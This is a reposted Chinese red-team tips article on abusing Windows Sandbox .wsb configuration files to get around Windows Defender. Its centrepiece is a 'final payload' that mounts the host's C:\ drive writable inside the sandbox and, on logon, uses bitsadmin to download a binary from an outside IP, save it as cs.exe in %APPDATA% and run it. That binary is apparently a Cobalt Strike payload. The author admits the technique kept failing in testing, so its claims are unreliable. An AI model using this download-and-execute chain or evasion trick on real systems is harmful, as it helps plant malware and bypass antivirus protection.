RedTips之使用WSB绕过defender-Windows系列-PHP中文网

RedTips之使用WSB绕过defender

雪夜

发布： 2025-09-11 10:36:18

原创

769人浏览过

什么是wsb？

全称Windows Sandbox：一个独立的临时桌面环境，可以在其中运行不受信任的软件，而不必担心会对您的PC产生持久影响。Windows Sandbox中安装的任何软件仅保留在沙箱中，不会影响您的主机。Windows Sandbox关闭后，将永久删除包含其所有文件和状态的所有软件。

启用方法如下：

代码语言：javascript代码运行次数：0运行复制

<pre class="brush:php;toolbar:false;">Enable-WindowsOptionalFeature -FeatureName "Containers-DisposableClientVM" -All -Online

登录后复制

WSB利用

由于其特殊性，WSB不受windows defender的保护。

而根据微软文档所说，我们可以使用.wsb文件来定制我们的沙箱内容。

代码语言：javascript代码运行次数：0运行复制

<pre class="brush:php;toolbar:false;"><Configuration>    <LogonCommand>        <Command>            cmd.exe         </Command>    </LogonCommand></Configuration>

登录后复制

这样启动的沙箱，会默认开启cmd窗口。

影像之匠PixPretty

商业级AI人像后期软件，专注于人像精修，色彩调节及批量图片编辑，支持Windows、Mac多平台使用。适用于写真、婚纱、旅拍、外景等批量修图场景。

206

查看详情

也可以进行文件夹的映射。

代码语言：javascript代码运行次数：0运行复制

<pre class="brush:php;toolbar:false;"><MappedFolders>   <MappedFolder>      <HostFolder>C:\</HostFolder>      <SandboxFolder>C:\Users\WDAGUtilityAccount\C_Mount</SandboxFolder>      <ReadOnly>false</ReadOnly>    </MappedFolder>

登录后复制

最终的payload：

代码语言：javascript代码运行次数：0运行复制

<pre class="brush:php;toolbar:false;"><Configuration>   <MappedFolders>     <MappedFolder>       <HostFolder>C:\</HostFolder>       <SandboxFolder>C:\Users\WDAGUtilityAccount\UserFiles</SandboxFolder>       <ReadOnly>false</ReadOnly>     </MappedFolder>   </MappedFolders>   <LogonCommand>     <Command>cmd.exe /c ping 127.0.0.1 -n 3 >null & bitsadmin /transfer myjob /download /priority high http://192.168.2.114/cs_wsb_test.bin "%APPDATA%\cs.exe">nul & start %APPDATA%\cs.exe</Command>   </LogonCommand> </Configuration>

登录后复制

注：本人测试时，一直提示错误，如果有师傅成功，望留言处指出，感激不尽。

原文地址：https://blog.syscall.party/post/weaponizing-windows-sandbox/

以上就是RedTips之使用WSB绕过defender的详细内容，更多请关注php中文网其它相关文章！